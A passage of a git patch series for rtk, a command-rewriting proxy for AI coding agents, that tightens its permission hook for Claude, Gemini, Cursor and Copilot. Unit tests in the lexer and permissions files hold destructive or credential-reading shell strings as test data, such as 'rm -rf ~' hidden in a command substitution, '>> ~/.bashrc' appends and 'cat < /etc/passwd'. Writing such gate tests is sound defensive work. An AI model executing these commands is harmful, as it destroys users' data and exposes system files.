{ + let mut ask = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + if let Some(root) = find_project_root() { + paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + let shells = ["run_shell_command(", "ShellTool("]; + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(tools) = json.get("tools") { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); + } + } + (Vec::new(), ask, allow) +} + /// Locate the project root by walking up from CWD looking for `.claude/`. /// /// Falls back to `git rev-parse --show-toplevel` if not found via directory walk. From f181184b4017d71aa7f557148a2d7f1b872ab6d2 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:20:37 +0200 Subject: [PATCH 180/257] fix(permissions): add test for cursor and gemini settings perm --- src/hooks/permissions.rs | 46 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 26ad9adf0b..d06eb98f6b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -188,7 +188,10 @@ fn read_json(path: &std::path::Path) -> Option { match serde_json::from_str::(&content) { Ok(v) => Some(v), Err(_) => { - eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + eprintln!( + "[rtk] warning: failed to parse permissions from {}", + path.display() + ); None } } @@ -932,4 +935,45 @@ mod tests { PermissionVerdict::Deny ); } + + // --- Per-host rule extraction --- + + #[test] + fn test_wrapped_rules_cursor_shell_only() { + let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["Shell("], &mut out); + assert_eq!(out, vec!["git", "curl:*", "npm test"]); + } + + #[test] + fn test_wrapped_rules_gemini_shell_variants() { + let v = serde_json::json!([ + "run_shell_command(git)", + "ShellTool(npm test)", + "read_file", + "run_shell_command" + ]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["run_shell_command(", "ShellTool("], &mut out); + assert_eq!(out, vec!["git", "npm test", "*"]); + } + + #[test] + fn test_wrapped_rules_extracted_patterns_match() { + let mut allow = Vec::new(); + append_wrapped_rules( + Some(&serde_json::json!(["Shell(git)"])), + &["Shell("], + &mut allow, + ); + assert_eq!( + check_command_with_rules("git status", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("rm -rf /", &[], &[], &allow), + PermissionVerdict::Default + ); + } } From 86ebbb3c5e5493ffbab770629ade349fc9984706 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:28:20 +0200 Subject: [PATCH 181/257] refacto(permissions): fmt --- src/hooks/permissions.rs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index d06eb98f6b..f9b7b299d2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -940,7 +940,12 @@ mod tests { #[test] fn test_wrapped_rules_cursor_shell_only() { - let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let v = serde_json::json!([ + "Shell(git)", + "Shell(curl:*)", + "Read(src/**)", + "Shell(npm test)" + ]); let mut out = Vec::new(); append_wrapped_rules(Some(&v), &["Shell("], &mut out); assert_eq!(out, vec!["git", "curl:*", "npm test"]); From 084fa84e9a58387b5d77ca68db8731d361a89f2b Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:55:00 +0200 Subject: [PATCH 182/257] fix(permissions): project-first config lookup for Gemini/Cursor --- src/hooks/permissions.rs | 50 ++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 28 deletions(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index f9b7b299d2..4d068d7f0d 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,45 +216,39 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. -/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +// Project config takes priority; global is the fallback when there is no project config. +fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(dir).join(project_file)) { + return Some(v); + } + } + read_json(&dirs::home_dir()?.join(dir).join(global_file)) +} + fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(CURSOR_DIR).join("cli-config.json")); - } - if let Some(root) = find_project_root() { - paths.push(root.join(CURSOR_DIR).join("cli.json")); - } - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(perms) = json.get("permissions") { - append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); - append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); - } + if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + .as_ref() + .and_then(|j| j.get("permissions")) + { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); } (deny, Vec::new(), allow) } -/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. -/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); - } - if let Some(root) = find_project_root() { - paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); - } let shells = ["run_shell_command(", "ShellTool("]; - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(tools) = json.get("tools") { - append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); - append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); - } + if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) + .as_ref() + .and_then(|j| j.get("tools")) + { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } (Vec::new(), ask, allow) } From ce362970e5752bacfd3a356c7fa122fea94ff0b2 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 20:56:44 +0200 Subject: [PATCH 183/257] fix(permissions): >&file redirect no allow + scope Gemini/Cursor config --- src/discover/lexer.rs | 20 +++++++++++++++--- src/hooks/permissions.rs | 44 ++++++++++++++++++++++++++++------------ 2 files changed, 48 insertions(+), 16 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 865b74a94a..cf9b2ce26e 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -314,10 +314,15 @@ fn contains_substitution(cmd: &str) -> bool { false } -/// File target unless it's fd-dup (`>&`) or `/dev/null`. +// `>&N`/`>&-` (and `N>&M`) is fd-dup/close; bare `>&` before a word is +// `>word 2>&1` — a file target. fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { - if tokens[i].value.contains(">&") { - return false; + let value = &tokens[i].value; + if let Some(pos) = value.find(">&") { + let tail = &value[pos + 2..]; + if !tail.is_empty() && tail.chars().all(|c| c.is_ascii_digit() || c == '-') { + return false; + } } match tokens.get(i + 1) { Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", @@ -1189,6 +1194,14 @@ mod tests { assert!(contains_unattestable_construct("cat << EOF")); } + #[test] + fn test_unattestable_ampersand_file_redirect() { + // `>&word` (word not a number) == `>word 2>&1` — a file write. + assert!(contains_unattestable_construct("git status >& /tmp/evil")); + assert!(contains_unattestable_construct("cat x >&~/.bashrc")); + assert!(contains_unattestable_construct("echo hi 2>& /tmp/evil")); + } + #[test] fn test_attestable_fd_dup_and_devnull_redirects() { assert!(!contains_unattestable_construct("git status 2>&1")); @@ -1197,6 +1210,7 @@ mod tests { assert!(!contains_unattestable_construct("cmd 2>/dev/null")); assert!(!contains_unattestable_construct("cmd > /dev/null")); assert!(!contains_unattestable_construct("cmd &> /dev/null")); + assert!(!contains_unattestable_construct("cmd >& /dev/null")); } #[test] diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 4d068d7f0d..33202807a2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,20 +216,17 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -// Project config takes priority; global is the fallback when there is no project config. -fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { - if let Some(root) = find_project_root() { - if let Some(v) = read_json(&root.join(dir).join(project_file)) { - return Some(v); - } - } - read_json(&dirs::home_dir()?.join(dir).join(global_file)) +// Global config only. RTK auto-allows only the globally-trusted subset; anything +// else defers to the host, which applies its own project config and folder-trust. +// This keeps RTK's allow set a subset of the host's — never more permissive. +fn global_config(dir: &str, file: &str) -> Option { + read_json(&dirs::home_dir()?.join(dir).join(file)) } fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + if let Some(perms) = global_config(CURSOR_DIR, "cli-config.json") .as_ref() .and_then(|j| j.get("permissions")) { @@ -239,14 +236,35 @@ fn load_cursor_rules() -> (Vec, Vec, Vec) { (deny, Vec::new(), allow) } +// Gemini honors project `.gemini/settings.json` when the folder is trusted. +// folderTrust is off by default (folder trusted); when on, a folder is trusted +// only via GEMINI_CLI_TRUST_WORKSPACE here (dialog-only trust is treated as +// untrusted → global, which is safe: never more permissive than the host). +fn gemini_settings() -> Option { + let global = global_config(GEMINI_DIR, SETTINGS_JSON); + let trusted = std::env::var("GEMINI_CLI_TRUST_WORKSPACE").as_deref() == Ok("true") + || !global + .as_ref() + .and_then(|j| { + j.pointer("/security/folderTrust/enabled") + .and_then(Value::as_bool) + }) + .unwrap_or(false); + if trusted { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(GEMINI_DIR).join(SETTINGS_JSON)) { + return Some(v); + } + } + } + global +} + fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); let shells = ["run_shell_command(", "ShellTool("]; - if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) - .as_ref() - .and_then(|j| j.get("tools")) - { + if let Some(tools) = gemini_settings().as_ref().and_then(|j| j.get("tools")) { append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } From 4be04e0bdcbc9fe7ccd367e00013e302196c2937 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 10:48:27 +0000 Subject: [PATCH 184/257] chore(master): release 0.42.2 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 12 ++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 15 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index cede7a525d..a623f136f8 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.42.1" + ".": "0.42.2" } diff --git a/CHANGELOG.md b/CHANGELOG.md index f9003c4175..816bfa9a57 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,18 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.2](https://github.com/rtk-ai/rtk/compare/v0.42.1...v0.42.2) (2026-06-05) + + +### Bug Fixes + +* **permissions:** >&file redirect no allow + scope Gemini/Cursor config ([ce36297](https://github.com/rtk-ai/rtk/commit/ce362970e5752bacfd3a356c7fa122fea94ff0b2)) +* **permissions:** add test for cursor and gemini settings perm ([f181184](https://github.com/rtk-ai/rtk/commit/f181184b4017d71aa7f557148a2d7f1b872ab6d2)) +* **permissions:** cursor and gemini use correct permissions settings file ([6ab149b](https://github.com/rtk-ai/rtk/commit/6ab149ba3e41bb41b99794ef55d384c9be96b91b)) +* **permissions:** never auto-allow not evaluable + defer to the agent ([cdcdb68](https://github.com/rtk-ai/rtk/commit/cdcdb6863a3df709603dbed0a6205bf16e4e635f)) +* **permissions:** never auto-allow not evaluable cmds, defer to hosts ([e1bc0bd](https://github.com/rtk-ai/rtk/commit/e1bc0bd9d0e52d98323714a3b163c359d6a240d2)) +* **permissions:** project-first config lookup for Gemini/Cursor ([084fa84](https://github.com/rtk-ai/rtk/commit/084fa84e9a58387b5d77ca68db8731d361a89f2b)) + ## [0.42.1](https://github.com/rtk-ai/rtk/compare/v0.42.0...v0.42.1) (2026-06-03) diff --git a/Cargo.lock b/Cargo.lock index b71ed64a84..f9b6067bb9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.42.1" +version = "0.42.2" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 6aa2ea2c33..ca34267fd0 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.42.1" +version = "0.42.2" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From 952245d39d099ed9a804dbba21bb0486f6aede16 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 17:57:29 +0200 Subject: [PATCH 185/257] fix(permissions): never auto-allow not evaluable + defer to the agent MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked. - `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed. - Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine. - Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell. --- src/discover/lexer.rs | 257 ++++++++++++++++++++++ src/hooks/hook_cmd.rs | 462 +++++++++++++++++++++++++++------------ src/hooks/permissions.rs | 157 ++++++++++++- src/hooks/rewrite_cmd.rs | 105 +++++++-- 4 files changed, 818 insertions(+), 163 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 5fb366f3bd..865b74a94a 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -15,6 +15,10 @@ pub struct ParsedToken { } pub fn tokenize(input: &str) -> Vec { + tokenize_inner(input, false) +} + +fn tokenize_inner(input: &str, emit_newline: bool) -> Vec { let mut tokens = Vec::new(); let mut current = String::new(); let mut current_start: usize = 0; @@ -226,6 +230,16 @@ pub fn tokenize(input: &str) -> Vec { }); current_start = byte_pos; } + '\n' | '\r' if emit_newline => { + flush_arg(&mut tokens, &mut current, current_start); + tokens.push(ParsedToken { + kind: TokenKind::Operator, + value: "\n".into(), + offset: byte_pos, + }); + byte_pos += char_len; + current_start = byte_pos; + } c if c.is_whitespace() => { flush_arg(&mut tokens, &mut current, current_start); byte_pos += c.len_utf8(); @@ -258,6 +272,101 @@ fn flush_arg(tokens: &mut Vec, current: &mut String, offset: usize) } } +/// True for constructs the permission gate can't decompose, so they must never +/// be auto-allowed: command/process substitution, or a real file-target redirect +/// (fd-dup like `2>&1` and `/dev/null` are exempt). Separators and subshells are +/// handled by [`split_for_permissions`], not flagged here. +pub fn contains_unattestable_construct(cmd: &str) -> bool { + if contains_substitution(cmd) { + return true; + } + let tokens = tokenize(cmd); + tokens + .iter() + .enumerate() + .any(|(i, tok)| tok.kind == TokenKind::Redirect && redirect_has_file_target(&tokens, i)) +} + +/// Quote-aware: bash runs backtick/`$(...)` unquoted and inside double quotes, +/// but treats single-quoted text literally; `<(`/`>(` is unquoted-only. +fn contains_substitution(cmd: &str) -> bool { + let bytes = cmd.as_bytes(); + let mut in_single = false; + let mut in_double = false; + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'\\' if !in_single => { + i += 2; + continue; + } + b'\'' if !in_double => in_single = !in_single, + b'"' if !in_single => in_double = !in_double, + b'`' if !in_single => return true, + b'$' if !in_single && bytes.get(i + 1) == Some(&b'(') => return true, + b'<' | b'>' if !in_single && !in_double && bytes.get(i + 1) == Some(&b'(') => { + return true + } + _ => {} + } + i += 1; + } + false +} + +/// File target unless it's fd-dup (`>&`) or `/dev/null`. +fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { + if tokens[i].value.contains(">&") { + return false; + } + match tokens.get(i + 1) { + Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", + _ => true, + } +} + +/// Like [`split_on_operators`] but also breaks on newline, background `&`, and +/// subshell `( ... )`, and truncates each segment at its first redirect. +/// Callers must still gate on [`contains_unattestable_construct`] first. +pub fn split_for_permissions(cmd: &str) -> Vec<&str> { + let trimmed = cmd.trim(); + if trimmed.is_empty() { + return vec![]; + } + + let tokens = tokenize_inner(trimmed, true); + let mut results = Vec::new(); + let mut seg_start: usize = 0; + let mut seg_end: Option = None; + + for tok in &tokens { + let is_boundary = match tok.kind { + TokenKind::Operator | TokenKind::Pipe => true, + TokenKind::Shellism => matches!(tok.value.as_str(), "&" | "(" | ")"), + _ => false, + }; + + if is_boundary { + let end = seg_end.take().unwrap_or(tok.offset); + let segment = trimmed[seg_start..end].trim(); + if !segment.is_empty() { + results.push(segment); + } + seg_start = tok.offset + tok.value.len(); + } else if tok.kind == TokenKind::Redirect && seg_end.is_none() { + seg_end = Some(tok.offset); + } + } + + let end = seg_end.unwrap_or(trimmed.len()); + let tail = trimmed[seg_start..end].trim(); + if !tail.is_empty() { + results.push(tail); + } + + results +} + /// Split a shell command on operators (`&&`, `||`, `;`) and optionally pipes (`|`), /// respecting quoted strings via the lexer. /// @@ -1030,4 +1139,152 @@ mod tests { assert!(split_on_operators("", false).is_empty()); assert!(split_on_operators(" ", true).is_empty()); } + + // --- contains_unattestable_construct (security) ------------------------- + + #[test] + fn test_unattestable_backtick() { + assert!(contains_unattestable_construct("git status `whoami`")); + } + + #[test] + fn test_unattestable_command_substitution() { + assert!(contains_unattestable_construct( + "git log --pretty=$(rm -rf ~)" + )); + } + + #[test] + fn test_unattestable_process_substitution() { + assert!(contains_unattestable_construct("diff <(secret) <(other)")); + assert!(contains_unattestable_construct("tee >(cat)")); + } + + #[test] + fn test_unattestable_substitution_inside_double_quotes() { + assert!(contains_unattestable_construct( + r#"git log --pretty="$(rm -rf ~)""# + )); + assert!(contains_unattestable_construct( + r#"git log --pretty="`rm -rf ~`""# + )); + assert!(contains_unattestable_construct( + r#"git -c x="$(whoami)" status"# + )); + } + + #[test] + fn test_attestable_substitution_inside_single_quotes() { + assert!(!contains_unattestable_construct("echo '$(rm -rf ~)'")); + assert!(!contains_unattestable_construct("echo '`whoami`'")); + assert!(!contains_unattestable_construct(r#"echo "\$(rm -rf ~)""#)); + } + + #[test] + fn test_unattestable_file_redirects() { + assert!(contains_unattestable_construct("git log > /tmp/x")); + assert!(contains_unattestable_construct("echo evil >> ~/.bashrc")); + assert!(contains_unattestable_construct("cmd &> /tmp/x")); + assert!(contains_unattestable_construct("cat < /etc/passwd")); + assert!(contains_unattestable_construct("cat << EOF")); + } + + #[test] + fn test_attestable_fd_dup_and_devnull_redirects() { + assert!(!contains_unattestable_construct("git status 2>&1")); + assert!(!contains_unattestable_construct("cmd >&2")); + assert!(!contains_unattestable_construct("cmd 2>&-")); + assert!(!contains_unattestable_construct("cmd 2>/dev/null")); + assert!(!contains_unattestable_construct("cmd > /dev/null")); + assert!(!contains_unattestable_construct("cmd &> /dev/null")); + } + + #[test] + fn test_attestable_subshell_and_separators() { + assert!(!contains_unattestable_construct( + "(git status; cargo build)" + )); + assert!(!contains_unattestable_construct( + "git status && cargo build" + )); + assert!(!contains_unattestable_construct("git status; cargo build")); + assert!(!contains_unattestable_construct("git log | head")); + assert!(!contains_unattestable_construct("sleep 1 &")); + assert!(!contains_unattestable_construct("git status\ncargo build")); + } + + #[test] + fn test_attestable_variable_expansion() { + assert!(!contains_unattestable_construct("echo $HOME")); + assert!(!contains_unattestable_construct("echo ${HOME}")); + assert!(!contains_unattestable_construct("git status")); + assert!(!contains_unattestable_construct("")); + } + + // --- split_for_permissions --------------------------------------------- + + #[test] + fn test_split_perms_operators() { + assert_eq!( + split_for_permissions("git status && cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git status; cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git log | head"), + vec!["git log", "head"] + ); + } + + #[test] + fn test_split_perms_newline() { + assert_eq!( + split_for_permissions("git status\ncargo build"), + vec!["git status", "cargo build"] + ); + } + + #[test] + fn test_split_perms_background_ampersand() { + assert_eq!( + split_for_permissions("git status & rm -rf ~"), + vec!["git status", "rm -rf ~"] + ); + assert_eq!(split_for_permissions("sleep 1 &"), vec!["sleep 1"]); + } + + #[test] + fn test_split_perms_subshell() { + assert_eq!( + split_for_permissions("(git status; cargo build)"), + vec!["git status", "cargo build"] + ); + assert_eq!(split_for_permissions("((a; b); c)"), vec!["a", "b", "c"]); + } + + #[test] + fn test_split_perms_truncates_at_redirect() { + assert_eq!(split_for_permissions("git status 2>&1"), vec!["git status"]); + assert_eq!(split_for_permissions("git log > /tmp/x"), vec!["git log"]); + assert_eq!( + split_for_permissions("git push --force 2>&1"), + vec!["git push --force"] + ); + } + + #[test] + fn test_split_perms_newline_inside_quotes_not_split() { + let segments = split_for_permissions("echo 'line1\nline2'"); + assert_eq!(segments.len(), 1); + assert!(segments[0].starts_with("echo")); + } + + #[test] + fn test_split_perms_empty() { + assert!(split_for_permissions("").is_empty()); + assert!(split_for_permissions(" ").is_empty()); + } } diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 8870bf8d75..36fc353e58 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -125,23 +125,40 @@ fn get_rewritten(cmd: &str) -> Option { Some(rewritten) } -fn handle_vscode(cmd: &str) -> Result<()> { - let verdict = permissions::check_command(cmd); +enum HookDecision { + AllowRewrite(String), + AskRewrite(String), + Defer, + Deny, +} + +fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { if verdict == PermissionVerdict::Deny { - audit_log("deny", cmd, ""); - return Ok(()); + return HookDecision::Deny; + } + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return HookDecision::Defer; + } + match get_rewritten(cmd) { + Some(r) if verdict == PermissionVerdict::Allow => HookDecision::AllowRewrite(r), + Some(r) => HookDecision::AskRewrite(r), + None => HookDecision::Defer, } +} - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => return Ok(()), - }; +fn decide_hook_action(cmd: &str) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command(cmd)) +} - // Allow (explicit rule matched): auto-allow the rewritten command. - // Ask/Default (no allow rule matched): rewrite but let the host tool prompt. - let decision = match verdict { - PermissionVerdict::Allow => "allow", - _ => "ask", +fn handle_vscode(cmd: &str) -> Result<()> { + let (decision, rewritten) = match decide_hook_action(cmd) { + HookDecision::Deny => { + audit_log("deny", cmd, ""); + return Ok(()); + } + HookDecision::Defer => return Ok(()), + HookDecision::AllowRewrite(r) => ("allow", r), + HookDecision::AskRewrite(r) => ("ask", r), }; audit_log("rewrite", cmd, &rewritten); @@ -166,19 +183,24 @@ fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { } fn copilot_cli_response(cmd: &str, args: &Value) -> Option { - copilot_cli_response_for_verdict(cmd, args, permissions::check_command(cmd)) + copilot_cli_response_from_decision(args, decide_hook_action(cmd), cmd) } -fn copilot_cli_response_for_verdict( - cmd: &str, +fn copilot_cli_response_from_decision( args: &Value, - verdict: PermissionVerdict, + decision: HookDecision, + cmd: &str, ) -> Option { - if verdict == PermissionVerdict::Deny { - audit_log("deny", cmd, ""); - return None; - } - let rewritten = get_rewritten(cmd)?; + let (rewritten, allow) = match decision { + HookDecision::Deny => { + audit_log("deny", cmd, ""); + return None; + } + HookDecision::Defer => return None, + HookDecision::AllowRewrite(r) => (r, true), + HookDecision::AskRewrite(r) => (r, false), + }; + audit_log("rewrite", cmd, &rewritten); let mut modified = args.clone(); @@ -186,15 +208,11 @@ fn copilot_cli_response_for_verdict( obj.insert("command".into(), Value::String(rewritten)); } - // Copilot CLI v1.0.54 only applies `modifiedArgs` when permissionDecision is - // either "allow" or absent. Omitting permissionDecision lets Copilot's normal - // permission flow run on the rewritten command — `rtk *` is not on its - // auto-allow list, so the user sees a prompt for the rewritten command. let mut response = json!({ "permissionDecisionReason": "RTK auto-rewrite", "modifiedArgs": modified, }); - if verdict == PermissionVerdict::Allow { + if allow { response["permissionDecision"] = json!("allow"); } Some(response) @@ -225,25 +243,22 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - // Check deny rules — Gemini CLI only supports allow/deny (no ask mode). - if permissions::check_command(cmd) == PermissionVerdict::Deny { - let _ = writeln!( - io::stdout(), - r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# - ); - return Ok(()); - } - - let (excluded, transparent_prefixes) = crate::core::config::Config::load() - .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) - .unwrap_or_default(); - - match rewrite_command(cmd, &excluded, &transparent_prefixes) { - Some(ref rewritten) => { + match decide_hook_action(cmd) { + HookDecision::Deny => { + let _ = writeln!( + io::stdout(), + r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# + ); + } + HookDecision::AllowRewrite(ref rewritten) => { audit_log("rewrite", cmd, rewritten); - print_rewrite(rewritten); + print_gemini("allow", Some(rewritten)); + } + HookDecision::AskRewrite(ref rewritten) => { + audit_log("ask", cmd, rewritten); + print_gemini("ask_user", Some(rewritten)); } - None => print_allow(), + HookDecision::Defer => print_gemini("ask_user", None), } Ok(()) @@ -253,16 +268,16 @@ fn print_allow() { let _ = writeln!(io::stdout(), r#"{{"decision":"allow"}}"#); } -fn print_rewrite(cmd: &str) { - let output = serde_json::json!({ - "decision": "allow", - "hookSpecificOutput": { - "tool_input": { - "command": cmd - } - } - }); - let _ = writeln!(io::stdout(), "{}", output); +fn gemini_json(decision: &str, rewrite: Option<&str>) -> String { + let mut output = serde_json::json!({ "decision": decision }); + if let Some(cmd) = rewrite { + output["hookSpecificOutput"] = serde_json::json!({ "tool_input": { "command": cmd } }); + } + output.to_string() +} + +fn print_gemini(decision: &str, rewrite: Option<&str>) { + let _ = writeln!(io::stdout(), "{}", gemini_json(decision, rewrite)); } // ── Audit logging ───────────────────────────────────────────── @@ -330,22 +345,21 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let verdict = permissions::check_command(cmd); - if verdict == PermissionVerdict::Deny { - return PayloadAction::Skip { - reason: "skip:deny_rule", - cmd: cmd.to_string(), - }; - } - - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => { + let (rewritten, allow) = match decide_hook_action(cmd) { + HookDecision::Deny => { return PayloadAction::Skip { - reason: "skip:no_match", + reason: "skip:deny_rule", cmd: cmd.to_string(), } } + HookDecision::Defer => { + return PayloadAction::Skip { + reason: "skip:defer", + cmd: cmd.to_string(), + } + } + HookDecision::AllowRewrite(r) => (r, true), + HookDecision::AskRewrite(r) => (r, false), }; let updated_input = { @@ -362,7 +376,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { "updatedInput": updated_input }); - if verdict == PermissionVerdict::Allow { + if allow { hook_output .as_object_mut() .unwrap() @@ -464,40 +478,29 @@ pub fn run_cursor() -> Result<()> { } }; - let verdict = permissions::check_command(&cmd); - if verdict == PermissionVerdict::Deny { - audit_log("deny", &cmd, ""); - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); - } - - let rewritten = match get_rewritten(&cmd) { - Some(r) => r, - None => { - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); + let output = match decide_hook_action(&cmd) { + HookDecision::AllowRewrite(rewritten) => { + audit_log("rewrite", &cmd, &rewritten); + cursor_allow(&rewritten) + } + other => { + if matches!(other, HookDecision::Deny) { + audit_log("deny", &cmd, ""); + } + "{}".to_string() } }; + let _ = writeln!(io::stdout(), "{output}"); + Ok(()) +} - // Cursor preToolUse currently enforces allow/deny only and can ignore - // updated_input when permission is "ask". Use "allow" for rewritten - // commands unless the command is explicitly denied above. - let decision = "allow"; - - audit_log("rewrite", &cmd, &rewritten); - - // `continue: true` mirrors the shape of every other Cursor hook - // (afterShellExecution, beforeSubmitPrompt, stop, ...). Cursor's - // preToolUse panel renders the JSON it received; without this field - // the panel collapses to `Output: {}` even though the rewrite ran, - // which makes the hook look broken to users. - let output = json!({ +fn 